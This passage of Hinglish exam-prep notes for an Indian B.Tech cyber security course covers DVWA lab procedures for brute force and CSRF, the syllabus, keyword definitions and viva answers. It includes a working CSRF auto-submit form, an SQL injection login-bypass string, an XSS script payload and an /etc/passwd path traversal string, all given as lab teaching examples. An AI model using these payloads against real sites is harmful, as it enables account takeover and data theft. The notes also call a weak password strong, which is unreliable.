   Jab sahi password mil jaata hai, to tool indicate karta hai ki login successful hua. DVWA me normal login bhi ho jayega.

8. **Discuss Security Failures:**
   - Weak passwords easily guess ho jate hain.
   - Agar lockout mechanism nahi hai to repeated attempts possible hain.
   - Strong passwords, account lockout, CAPTCHA jaise protections zaroori hote hain.

Real-World Example:

Imagine karo ek company ke employees simple passwords use karte hain jaise “123456” ya “password”. Agar attacker ye words apne brute-force tool me use kare to wo asaani se accounts hack kar sakta hai. Jaise recent data leaks me dikhaya gaya hai ki sabse zyada use hone wale passwords common hote hain. Isliye organizations strong password policies implement karti hain jisme complex passwords, regular change, aur multi-factor authentication hota hai.

Practical Tips for Writeup:

- Start with **objective** clearly defined (Brute-force and dictionary attack simulate karna).
- Mention **tools** used (DVWA, brute-force tool like Hydra).
- Stepwise describe **attack setup and execution**.
- Explain what **wordlist** means and why important hai.
- Add **screenshots** of DVWA login page and tool configuration/output.
- Highlight **password policy** importance and security measures.
- Use keywords in bold: **Brute force, dictionary attack, wordlist, DVWA, password policy, lockout mechanism**.
- Conclude with how these attacks expose web applications’ weak security.

Tips for Viva (To Score More Marks):

- Define **brute-force attack** and **dictionary attack** clearly.
- Explain difference between the two.
- Describe how attackers use wordlists in dictionary attacks.

- Talk about why weak passwords are dangerous.
- Mention defenses: strong passwords, lockout, CAPTCHA, multi-factor authentication.
- Explain how DVWA helps learn these attacks practically.
- You can say:
  "Brute-force aur dictionary attacks me hacker multiple passwords try karta hai jab tak sahi guess nahi karta. DVWA me ye attack simulate karke hum weak password risks samajhte hain aur strong policies adopt karte hain."

Experiment 5: Cross-Site Request Forgery (CSRF) Using DVWA

(Module 2: Web Application Security)

What is CSRF?

CSRF ya **Cross-Site Request Forgery** ek web security attack hai jisme attacker ek authenticated user ko trick karta hai ki wo malicious request apne browser se bina jaane kisi trusted website par bhej de. Is attack me user ki permission ya knowledge ke bina unwanted actions perform ho sakti hain — jaise account settings change karna, transactions karna, ya sensitive operations execute karna.

Objective:

- DVWA me CSRF vulnerability ko samajhna aur exploit karna.
- Dekhna ki kaise attacker user ke session ka misuse kar ke fake requests server ko bhej sakta hai.
- CSRF attack ke impacts aur prevention techniques ke baare me seekhna.

Important Keywords to Remember:

- **CSRF (Cross-Site Request Forgery):** Attack jisme trusted user se bina consent malicious action karvaya jata hai.
- **Session:** User ki authentication state web server pe.
- **Forgery:** Jhooti request bhejna.
- **Token:** CSRF token jo request ki authenticity verify karta hai.

- **Referer Header:** HTTP header jo request ke source page ko batata hai.
- **Same-Origin Policy:** Browser ki security policy jo request ko control karti hai.
- **POST Request:** Data server ko bhejne wala request.
- **GET Request:** Data fetch karne wala request.

Step-by-Step Procedure:

1. **Setup DVWA and Login:**
   Apne system pe DVWA open karo aur apna user account se login karo.

2. **Set Security Level to Low:**
   DVWA ke Security tab me "Low" select karo taki vulnerability easily visible ho.

3. **Navigate to CSRF Module:**
   DVWA menu me se "CSRF" page open karo.

4. **Study the Vulnerable Form:**
   Wahan ek web form hoga jo koi action perform karta hai — jaise email update karna.

5. **Generate a CSRF Attack Page:**
   Ek dusri simple HTML page banao ya use ready-made exploit jisme ek hidden form ho jo DVWA ke trusted site pe POST request bhejta hai.
   Example:

```
<form action="http://dvwa_url/vulnerable_page.php" method="POST">
  <input type="hidden" name="email" value="attacker@example.com" />
</form>
<script>
  document.forms[0].submit();
</script>
```

6. **Run the Attack:**
   Victim jis browser me DVWA pe logged in hai, woh jab aapka malicious page open karta hai, to wo bina pata chale wo unwanted POST request DVWA ke server ko chala jata hai.

7. **Observe Effects in DVWA:**
   DVWA me jaake check karo, email changed ho gaya hai, matlab attack successful hua.

8. **Understand How to Prevent:**
   Discuss karo CSRF tokens, Same-Origin Policy, Referer header checks, aur user confirmation jese protection techniques.

Real-World Example:

Sochiye aap ek bank website pe logged in hain, aur kisi dusre malicious website ka link open kar dete hain. Wo malicious website secretly bank site par aapke naam se paisa transfer karne ke liye request bhej de. Bank website agar CSRF protection nahi rakhta, to aap bina janne paisa transfer kar baithte hain. Yehi CSRF attack ka dangerous impact hai.

Why Is This Important?

CSRF attacks user trust aur session ka misuse karte hain. Isliye modern web apps me CSRF protection implement karna bohot zaroori hota hai.

Practical Tips for Writeup:

- Start with **objective:** Clearly mention CSRF kya hai aur DVWA me is experiment ka maksad.
- Explain **tools and environment:** DVWA, browser, basic HTML for attack page.
- Step-wise details of:
  - How login kiya
  - Vulnerable form identify kiya
  - Malicious HTML page banaya jo fake request bhejta hai
  - Attack ka effect verify kiya
- Include **screenshots:**
  - DVWA vulnerable page before and after attack
  - Malicious HTML page code snippet
- Use keywords bold kar ke highlight karo: **CSRF, session, forgery, token, POST request, Same-Origin Policy**
- Write briefly about **prevention techniques** and why they are important.

Tips for Viva (To Score More Marks):

- Define **CSRF** simply and explain the attack flow.

- Describe why authenticated sessions are targeted.
- Explain difference between GET and POST requests in context of CSRF.
- Talk about role of **CSRF tokens** and how they stop attacks.
- Mention browser protections like **Same-Origin Policy** and why they are not always enough.
- Give a real-life example like bank transaction without user permission.
- You can say:
  "CSRF attack me attacker user ke session ka misuse karke bina uske consent ke malicious request bhejta hai. Isse unwanted changes hote hain. WiDVWA me is vulnerability ko exploit karke hum samajhte hain ki protection kyu zaroori hai."

BCC301/BCC401: Cyber Security

(Applicable for B.Tech 2nd Year, All Branches)

Course Outcomes (CO) & Bloom's Knowledge Levels (KL)

CO	Outcome Description	KL
CO1	Understand the basic concepts of cyber security and cybercrimes	K1, K2
CO2	Understand the security policies and cyber laws	K1, K2
CO3	Understand the tools and methods used in cyber crime	K2
CO4	Understand the concepts of cyber forensics	K1, K2
CO5	Understand the cyber security policies and cyber laws	K2

K1 = Recall/Knowledge, K2 = Understanding/Comprehension

Detailed Syllabus (Unit-wise)

Unit	Topics Covered

I	**Introduction to Cyber Crime:** - Definition & Origins of Cybercrime - Info Security - Who are Cybercriminals - Classification - Global Perspective - Survival Mantra for Netizens - Cyber Offenses: Planning attacks, Social Engineering, Cyber Stalking, Cyber Café Crimes, Botnets, Attack Vectors
II	**Cyber Crime - Mobile & Wireless:** - Mobile/wireless devices intro - Trends - Credit card frauds - Security challenges - Registry/authentication - Attacks on cell phones - Org security policies/measures
III	**Tools & Methods Used in Cyber Crime:** - Proxy servers/anonymizers - Phishing - Password cracking - Keyloggers/spyware - Viruses/worms - Trojans, backdoors - Steganography - DoS/DDoS - SQL Injection - Buffer Overflow - Wireless network attacks - Phishing & Identity Theft
IV	**Understanding Computer Forensics:** - Digital forensics science - Need for forensics - Digital evidence - Email forensics - Forensics lifecycle - Chain of custody - Network forensics - Social networking threats/challenges

V	**Security Policies & Cyber Laws:** - Info security policies - Intro to Indian Cyber Law - Digital Personal Data Protection Act 2023 - IP issues (patent, copyright, trademark) - Legislation overview

Each unit is generally allotted **4 lectures**.

Recommended Textbooks

(Refer to your syllabus for the latest editions and any updates.)

1. **Sunit Belapure and Nina Godbole**, "Cyber Security: Understanding Cyber Crimes, Computer Forensics And Legal Perspectives", Wiley India Pvt Ltd.
2. **Basta, Basta, Brown, Kumar**, "Cyber Security and Cyber Laws", Cengage Learning.
3. **Dr. Surya Prakash Tripathi et al.**, "Introduction to Information Security and Cyber Laws", Dreamtech Press.
4. **Krishan Kumar Goyal et al.**, "Cyber Security and Data Privacy", HP Hamilton Limited.
5. **Thomas I. Mowbray**, "Cybersecurity: Managing Systems, Conducting Testing, Investigating Intrusions", Wiley.
6. **James Graham et al.**, "Cyber Security Essentials", CRC Press.
7. **Mike Shema**, "Anti-Hacker Tool Kit (Indian Edition)", McGraw-Hill.

Useful Notes

- The course provides a strong **foundation in cyber security concepts**, methods, laws, and practical understanding of digital forensics and mobile/web threats.
- **Bloom's Taxonomy** in outcomes means you are expected to remember, understand, and apply concepts.
- *Prepare for conceptual, case study, and application-based questions in your exams*.

For detailed notes, unit explanations, and sample questions, refer to officially provided materials and the textbooks mentioned above.

⁂

Theory (Syllabus) Keywords

- **Cybercrime**
- **Information Security**
- **Cybercriminals**
- **Classification of Cybercrimes**
- **Social Engineering**
- **Cyber Stalking**
- **Botnets**
- **Attack Vector**
- **Mobile & Wireless Devices**
- **Registry Settings**
- **Authentication**
- **Credit Card Frauds**
- **Security Challenges**
- **Password Cracking**
- **Phishing**
- **Proxy Servers & Anonymizers**
- **Keyloggers**
- **Spyware**
- **Virus**
- **Worms**
- **Trojan Horse**
- **Backdoor**
- **Steganography**
- **DoS (Denial of Service)**

- **DDoS**
- **SQL Injection**
- **Buffer Overflow**
- **Wireless Network Attacks**
- **Identity Theft**
- **Computer Forensics**
- **Digital Evidence**
- **Forensics Lifecycle**
- **Chain of Custody**
- **Email Forensics**
- **Network Forensics**
- **Security Policy**
- **Cyber Law**
- **Digital Personal Data Protection Act**
- **Intellectual Property (Patent, Copyright, Trademark)**

Lab Practical (Workshop Experiments) Keywords

Module 1: Packet Analysis with Wireshark

- **Packet**
- **Protocol (HTTP, DNS, SMTP, FTP)**
- **Packet Capture**
- **Packet Filter**
- **Source IP**
- **Destination IP**
- **Payload**
- **Suspicious Traffic**
- **Repeated Connections**

- **Unusual Protocol/Port**
- **Malware**
- **Command-and-Control (C2) Server**
- **Data Exfiltration**
- **ARP (Address Resolution Protocol)**
- **MAC Address**
- **ARP Poisoning**
- **Man-in-the-Middle (MitM)**
- **Spoofing**
- **Ettercap**
- **Network Interception**
- **Plaintext**
- **Encryption**
- **Credentials**

Module 2: Web Application Security with DVWA

- **SQL Injection**
- **Malicious Input**
- **Payload**
- **Input Validation**
- **Authentication Bypass**
- **Data Extraction**
- **Cross-Site Scripting (XSS)**
- **Malicious Script**
- **Cookies**
- **DOM**
- **Reflected XSS**

- **Stored XSS**
- **Sanitization**
- **File Inclusion**
- **Local File Inclusion (LFI)**
- **Remote File Inclusion (RFI)**
- **Path Traversal**
- **Sensitive Files**
- **Brute-Force Attack**
- **Dictionary Attack**
- **Wordlist**
- **Login Page**
- **Password Policy**
- **Lockout Mechanism**
- **Cross-Site Request Forgery (CSRF)**
- **Session**
- **Forgery**
- **CSRF Token**
- **Referer Header**
- **Same-Origin Policy**
- **POST Request**
- **GET Request**

How to Use These Keywords

- In theory answers, use terms like "attack vector," "botnet," "DoS/DDoS," "forensics," "digital evidence," "cyber law," etc.
- In lab/practical writeups and viva, use technical words from the practical modules such as "ARP poisoning," "packet capture," "malware traffic," "SQL injection," "XSS," "LFI/RFI," "CSRF token," "input validation," etc., and explain relevant protocols (HTTP, DNS, SMTP).

- Always highlight these keywords in your answers, reports, and viva responses to demonstrate strong subject knowledge and score higher marks.

Theory (Syllabus) Keywords

1. Cybercrime

Definition: Illegal activities done using computers or the internet.
Example: Hacking into someone's bank account or sending viruses.

2. Information Security

Definition: Protecting data from unauthorized access or damage.
Example: Using passwords and encryption to keep your emails safe.

3. Cybercriminals

Definition: People who commit crimes online.
Example: A hacker stealing credit card details.

4. Classification of Cybercrimes

Definition: Different types of crimes done using computers, like hacking, phishing, identity theft.
Example: Cyber stalking and online fraud fall under cybercrimes.

5. Social Engineering

Definition: Trickery where attackers manipulate people to give confidential info.
Example: Pretending to be bank staff and asking for your PIN over phone.

6. Cyber Stalking

Definition: Harassing or threatening someone repeatedly online.
Example: Sending threatening messages via social media.

7. Botnets

Definition: Network of infected computers controlled by a hacker.
Example: Thousands of infected computers used to launch a massive cyberattack.

8. Attack Vector

Definition: The method or path hackers use to attack.
Example: Sending malware through email attachments.

9. Mobile & Wireless Devices

Definition: Smartphones, tablets, and devices without wired connections.
Example: Your phone connected to Wi-Fi or 4G internet.

10. Registry Settings

Definition: Configuration data in Windows that controls system behavior.
Example: Settings controlling Wi-Fi connections on your PC.

11. Authentication

Definition: Verifying who you are before granting access.
Example: Entering username and password to log in.

12. Credit Card Frauds

Definition: Unauthorized use of credit card info to steal money.
Example: Someone using your card details online without permission.

13. Security Challenges

Definition: Problems or risks to keeping systems safe.
Example: Hackers trying to guess passwords.

14. Password Cracking

Definition: Trying to find out passwords by guessing or using software.
Example: Using a program to try many passwords rapidly on an account.

15. Phishing

Definition: Fake emails or websites tricking users into giving sensitive info.
Example: A fake bank email asking for your login details.

16. Proxy Servers & Anonymizers

Definition: Tools that hide your real IP address on the internet.
Example: Using a VPN to browse websites anonymously.

17. Keyloggers

Definition: Software or hardware that records every key you press.
Example: A malware that steals your passwords by recording keystrokes.

18. Spyware

Definition: Software that secretly collects your data without permission.
Example: An app tracking your browsing habits.

19. Virus

Definition: Malicious program that can replicate and damage files.
Example: Trojan horse hiding as something safe but damaging your PC.

20. Worms

Definition: Self-replicating malware that spreads without user action.
Example: A virus that duplicates through network and infects many computers.

21. Trojan Horse

Definition: Malware disguised as a harmless program to trick users.
Example: A fake game downloader that installs malware.

22. Backdoor

Definition: Hidden way to access a system bypassing security.
Example: Hacker installs backdoor to enter computer anytime.

23. Steganography

Definition: Hiding secret info inside other files like images or videos.
Example: Secret message hidden inside a picture file.

24. DoS (Denial of Service)

Definition: Attack that makes a network or service unavailable.
Example: Flooding a website with traffic so it crashes.

25. DDoS (Distributed Denial of Service)

Definition: DoS attack coming from many computers at once.
Example: Thousands of bots crashing a popular website.

26. SQL Injection

Definition: Attacker puts malicious database commands in web input to steal or damage data.
Example: Entering special code in a login box to bypass password check.

27. Buffer Overflow

Definition: Sending more data to a program than it can handle causing crash or attack.
Example: Overflowing a input form to take control of a system.

28. Wireless Network Attacks

Definition: Attacks targeting Wi-Fi networks.
Example: Cracking Wi-Fi password using specialized tools.

29. Identity Theft

Definition: Stealing someone's personal info to commit fraud.
Example: Using someone's ID details to open a fake bank account.

30. Computer Forensics

Definition: Investigating computers to find digital evidence of crimes.
Example: Recovering deleted files to find proof of hacking.

31. Digital Evidence

Definition: Electronic data used in investigations and court.
Example: Email logs showing unauthorized access.

32. Forensics Lifecycle

Definition: Steps followed in digital investigations from collection to reporting.
Example: Gathering, analyzing, and preserving data for legal use.

33. Chain of Custody

Definition: Document showing how evidence is handled in an investigation.
Example: Tracking who accessed the evidence and when.

34. Email Forensics

Definition: Examining emails for signs of fraud or hacking.
Example: Checking headers for origin of phishing email.

35. Network Forensics

Definition: Capturing and analyzing network data to investigate attacks.
Example: Using Wireshark to trace suspicious network packets.

36. Security Policy

Definition: Rules set by organizations to keep their information safe.
Example: Password requirements and data handling guidelines.

37. Cyber Law

Definition: Legal rules related to internet and digital crimes.
Example: Laws punishing online hacking or identity theft.

38. Digital Personal Data Protection Act

Definition: Indian law regulating how personal data is collected and stored.
Example: Websites must get consent before collecting your data.

39. Intellectual Property (Patent, Copyright, Trademark)

Definition: Legal rights protecting creations like inventions, writings, and logos.
Example: Copyright protects software code from being copied illegally.

Lab Practical (Workshop Experiments) Keywords

Module 1: Packet Analysis with Wireshark

1. Packet

Definition: Small piece of data sent over a network.

Example: Like an envelope carrying a letter between computers.

2. Protocol (HTTP, DNS, SMTP, FTP)

Definition: Rules for communication — HTTP for web, DNS for domain lookups, SMTP for emails, FTP for file transfers.

Example: HTTP helps load webpages; DNS converts "google.com" to an IP address.

3. Packet Capture

Definition: Collecting packets from the network to analyze them.

Example: Using Wireshark to record data being sent and received.

4. Packet Filter

Definition: Narrowing down packets to view specific types.

Example: Filtering HTTP packets to only see website traffic.

5. Source IP / Destination IP

Definition: IP addresses of sender and receiver computers.

Example: Source IP is your computer; destination IP is the website server.

6. Payload

Definition: Actual data carried inside a packet.

Example: The email message inside an SMTP packet.

7. Suspicious Traffic

Definition: Network data that looks unusual or potentially harmful.

Example: Frequent repeated connection attempts from same IP.

8. Repeated Connections

Definition: Same device trying to connect multiple times in a short period.
Example: Hacker trying many passwords rapidly.

9. Unusual Protocol/Port

Definition: Communication using uncommon channels; may indicate attack.
Example: Port 4444 often used by malware.

10. Malware

Definition: Software designed to harm or exploit systems.
Example: Virus, ransomware, trojan horse.

11. Command-and-Control (C2) Server

Definition: Remote server used by attackers to control malware-infected computers.
Example: Hacker sends instructions to infected computers via C2 server.

12. Data Exfiltration

Definition: Stealing sensitive data by sending it out of a network.
Example: Malware sending confidential files to an attacker's server.

13. ARP (Address Resolution Protocol)

Definition: Protocol that matches IP addresses to MAC addresses on a local network.
Example: Your PC asking "Who has IP 192.168.1.1?" to get MAC address.

14. MAC Address

Definition: Physical hardware address of a network device.
Example: Unique ID of your network card.

15. ARP Poisoning

Definition: Attack by sending fake ARP replies to intercept traffic.
Example: Attacker tricks your PC into sending data to attacker instead of router.

16. Man-in-the-Middle (MitM)

Definition: Attacker secretly intercepts communication between two parties.
Example: Attacker spying on chat messages by positioning between users.

17. Spoofing

Definition: Pretending to be someone else by faking addresses.
Example: Sending packets with fake IP to hide attacker's identity.

18. Ettercap

Definition: A tool used for network attacks like ARP poisoning.
Example: Attacker uses Ettercap to redirect victim's traffic.

19. Network Interception

Definition: Capturing data transmitted over a network without permission.
Example: Sniffing Wi-Fi traffic in a coffee shop.

20. Plaintext

Definition: Data that is not encrypted, readable as-is.
Example: Password typed in HTTP is sent as plaintext over network.

21. Encryption

Definition: Scrambling data to keep it secret during transmission.
Example: HTTPS encrypts website traffic so attackers can't read it.

22. Credentials

Definition: Username and password used for login.
Example: Your email ID and password.

Module 2: Web Application Security with DVWA

1. SQL Injection

Definition: Inserting malicious SQL code to manipulate the database.
Example: Entering `' OR '1'='1` to bypass login.

2. Malicious Input

Definition: User input designed to harm the system.
Example: Script tags entered in form fields.

3. Payload

Definition: The actual harmful code sent by attacker.
Example: JavaScript alert box code in XSS.

4. Input Validation / Sanitization

Definition: Cleaning input data to remove harmful code.
Example: Removing script tags before saving user input.

5. Authentication Bypass

Definition: Skipping login by tricking the system.
Example: Using SQL injection to login without password.

6. Data Extraction

Definition: Retrieving sensitive data unauthorizedly.
Example: Dumping all usernames from database.

7. Cross-Site Scripting (XSS)

Definition: Injecting malicious scripts into web pages viewed by others.
Example: Popup alert when someone visits an infected page.

8. Cookies

Definition: Small data stored in browser to keep user logged in.
Example: Session ID saved in a cookie.

9. DOM (Document Object Model)

Definition: Browser's structure of webpage elements scripts can interact with.
Example: JavaScript changing text on a webpage dynamically.

10. Reflected XSS

Definition: Malicious script is reflected immediately on webpage via input.
Example: URL containing script that runs on page load.

11. Stored XSS

Definition: Malicious script saved on server and shown to multiple users.
Example: Script saved in comments on blog page.

12. File Inclusion

Definition: Server including files specified by user input.
Example: Load different pages based on URL parameter.

13. Local File Inclusion (LFI)

Definition: Including files from server itself.
Example: Reading `/etc/passwd` through vulnerable URL.

14. Remote File Inclusion (RFI)

Definition: Including files from attacker's remote server.
Example: Running attacker's malicious code hosted elsewhere.

15. Path Traversal

Definition: Using `../` to access directories outside allowed folder.
Example: Access system files by jumping folders.

16. Sensitive Files

Definition: Important system or confidential files.
Example: `/etc/passwd` or configuration files.

17. Brute-Force Attack

Definition: Trying all possible passwords to gain access.
Example: Trying "123", "admin", "password" repeatedly to guess login.

18. Dictionary Attack

Definition: Using a list of common passwords to guess.

Example: Using a file of common passwords in attack.

19. Wordlist

Definition: A file containing lots of possible passwords.

Example: List.txt used by hacking tools.

20. Login Page

Definition: Web page where user enters credentials.

Example: Email login form.

21. Password Policy

Definition: Rules specifying password complexity.

Example: Password must have uppercase, numbers, and special chars.

22. Lockout Mechanism

Definition: Temporarily blocking account after failed attempts.

Example: Account locked after 5 wrong tries.

23. Cross-Site Request Forgery (CSRF)

Definition: Tricking logged-in user's browser to perform unwanted actions.

Example: Clicking a fake link that changes your email without permission.

24. Session

Definition: Period when user stays logged in with a token.

Example: Cookies keeping user logged into Facebook until logout.

25. Forgery

Definition: Creating fake requests or documents.

Example: Fake form submission pretending to be the user.

26. CSRF Token

Definition: A secret code in forms preventing fake requests.
Example: Unique token sent with every form submission.

27. Referer Header

Definition: HTTP header showing which page linked to current request.
Example: Website checks if request comes from trusted page.

28. Same-Origin Policy

Definition: Browser security only allows scripts to talk to same domain.
Example: Prevents malicious sites from reading your bank info.

29. POST Request

Definition: Sending data to server to change something.
Example: Submitting a login form.

30. GET Request

Definition: Requesting data from server (usually reading info).
Example: Opening a webpage URL.

THEORY Viva Questions & Answers

1. Q: Cyber Crime kya hai? Iska koi example do.

A:
Cyber crime ka matlab hai computer ya internet ka use karke koi illegal kaam karna. Jaise kisi ke bank account ko hack karke paise churana, ya kisi ko internet pe dhamkina dena.
Example: Ek hacker kisi aadmi ka Instagram account hack kar ke usse ransom mangta hai.

2. Q: Information Security ka simple matlab kya hai?

A:
Information security matlab apni digital cheezein—jaise photos, documents, passwords— ko

unauthorized logon se bachana.
Example: Jab tumhare phone pe password ya fingerprint laga hota hai, woh bhi ek tarah ki information security hai!

3. Q: Phishing kya hota hai? Real life mein kaise hota hai?

A:
Phishing ek aisa fraud hai jisme attacker fake email ya website se tumhe apne passwords ya card details dene par majboor karta hai.
Example: Agar tumhe bank ka nakli email aaye—"Click here to unlock your account"—aur tum apni details dal do, toh attacker info chura lega!

4. Q: Explain Social Engineering with ek simple example.

A:
Social engineering ek tarah ka trick hai—jaise attacker tumhe call kar ke bank ka staff ban kar tumhara OTP maang le.
Example: "Hello, main bank se bol raha hoon. Aapka account block ho gaya hai. OTP batayiye!" Agar tumne bata diya toh attacker account access kar sakta hai.

5. Q: Virus aur Worm mein kya fark hai?

A:
Virus ek aisa program hai jo khud ko files se attach karta hai aur phir replicate karta hai. Worm khud hi network par spread ho jata hai bina kisi file ke.
Example: Virus ek infected pen drive se aata hai; worm toh internet ke through directly dusre computers me ghus jata hai!

6. Q: DoS aur DDoS attack kya hai? Short example ke sath.

A:
DoS (Denial of Service) attack se website slow ya down ho jati hai, kyunki ek hi machine se bohot request bheji ja rahi hoti hai. DDoS (Distributed Denial of Service) mein yeh kaam kai computers milke karte hain.
Example: Bahut saari log ek saath online pizza site pe jab fake orders bhejte hain toh real log order nahi kar paate—site crash ho jati hai.

7. Q: Password strong kaise hona chahiye?

A:

Strong password mein capital, small letters, numbers, aur special characters mix hone chahiye. Kabhi bhi naam, mobile number mat use karo!

Example: “Rahul@2025” ek strong password hai, lekin “rahul123” nahi.

8. Q: Buffer Overflow kya hota hai in one line and ek simple example.

A:

Buffer Overflow tab hota hai jab program mein jitna data store hona chahiye usse zyada bhej diya jaye—isse attacker system ka control le sakta hai.

Example: Tumhare school ka admission form mein sirf 10 words ka naam lana chaiye, par koi 1000 letters type kar de toh form toot sakta hai.

9. Q: Digital Forensics kya hota hai aur kyu zaroori hai?

A:

Digital Forensics ka matlab hai computer yeh mobile devices se evidence collect karna taaki crimes solve ho sake.

Example: Police agar kisi suspect ke laptop se deleted WhatsApp messages recover karti hai toh woh forensics hai.

10. Q: Indian Cyber Law ka ek objective batao.

A:

Indian Cyber Law ka main objective hai internet par hone wale crimes ko rokna aur punish karna.

Example: Agar koi kisi ka Facebook account hack karta hai toh IT Act ke tahat usko saja ho sakti hai.

LAB PRACTICAL Viva Questions & Answers

1. Q: Wireshark kis kaam aata hai? Main use ka ek real example batao.

A:

Wireshark network traffic analyze karne ka tool hai. Yeh batata hai ki kaun kya data bhej raha hai.

Example: Agar class me kisi ka internet slow hai toh Wireshark se check kar sakte hain ki uske PC pe koi suspicious download toh nahi ho raha!

2. Q: Packet aur Protocol mein kya difference hai?

A:

Packet chota data ka tukda hai jo network par bheja jata hai. Protocol rules ka set hai jo batata hai data kaise bhejna hai.

Example: HTTP ek protocol hai, jab tum Google par kuch search karte ho toh woh request ek packet ke form mein bheji jati hai.

3. Q: SQL Injection kya hai? Ek attractive real-world example do.

A:

SQL Injection tab hota hai jab attacker web form ke input me aisa code likhta hai jo database ka data chura ya delete kar deta hai.

Example: Movie ticket website pe agar login box me ' OR '1'='1' likh diya, toh saare users ki details table mein dikh jayengi!

4. Q: XSS (Cross-Site Scripting) kya hota hai aur iska ek example?

A:

XSS attack mein attacker web page par javascript ya dusra code inject karta hai—jab doosra user wo page dekhta hai, script uske browser pe run hoti hai.

Example: Kisi blog comment box mein `<script>alert('You have been hacked');</script>` likh diya, toh sabko pop-up dikhega jab bhi page open hoga.

5. Q: ARP Poisoning attack explain karo aur ek practical example do.

A:

ARP Poisoning me network pe attacker galat MAC address send karta hai, taki saara data attacker ke paas se ho ke guzre.

Example: Café Wi-Fi pe koi hacker ARP poisoning kar ke sab logon ka data sniff kar sakta hai—jaise login password.

6. Q: Brute-force aur Dictionary attack me kya difference hai?

A:

Brute-force attack har possible password try karta hai—jaise a, aa, aaa, etc. Dictionary attack sirf common password list se try karta hai—jaise 123456, password, qwerty.

Example: Dictionary attack ho sakta hai ek second me crack kar de agar password simple hai!

7. Q: CSRF attack kya hota hai aur isse bachne ke tarike ka ek example?

A:

CSRF attack me attacker kisi user ko bina bataye kisi site pe fake request bhejta hai.

Example: Bank me login hone ke baad agar tum kisi attacker ke link pe click kar do toh tumhara paisa automatically transfer ho ja sakta hai. Isliye, CSRF Token har form me zaroori hota hai.

8. Q: Malware traffic kaise pehchante ho Wireshark se?

A:

Agar koi unknown IP se bar-bar connection ho raha hai, ya alag port use ho raha hai, to suspicious traffic ho sakta hai—malware C2 server ko signal bhej raha ho.

Example: Jab bhi ek system se bar-bar same external IP par data jaa raha hai, toh malware hone ka doubt hai.

9. Q: File Inclusion vulnerability kya hai?

A:

File Inclusion bug se attacker server ki local ya remote file web page me include kar sakta hai—isse sensitive info mil sakti hai ya code run ho sakta hai.

Example: Web URL me agar "?page=../../etc/passwd" likh kar hum system ki user info padh le to woh LFI hai.

10. Q: Encryption evil why necessary hai?

A:

Encryption data ko unreadable bana deta hai—agar attacker data capture kare bhi toh kuch samajh nahi aayega.

Example: WhatsApp pe jo chat send hoti hai, wo encrypted hoti hai—koi beech me sunne ki koshish kare toh bhi nahi padh sakta.

Bonus Tip!

Ek extra tip for viva:

Har answer dene se pehle ek short definition do, phir ek chota sa real-world ya daily life example de do—isse examiner ko quickly samajh aa jata hai ki concept clear hai. Keywords ko bold ya highlight karke bolo/kaho, jaise:

"ARP Poisoning ek network attack hai — jaise café Wi-Fi me koi data chura sakta hai."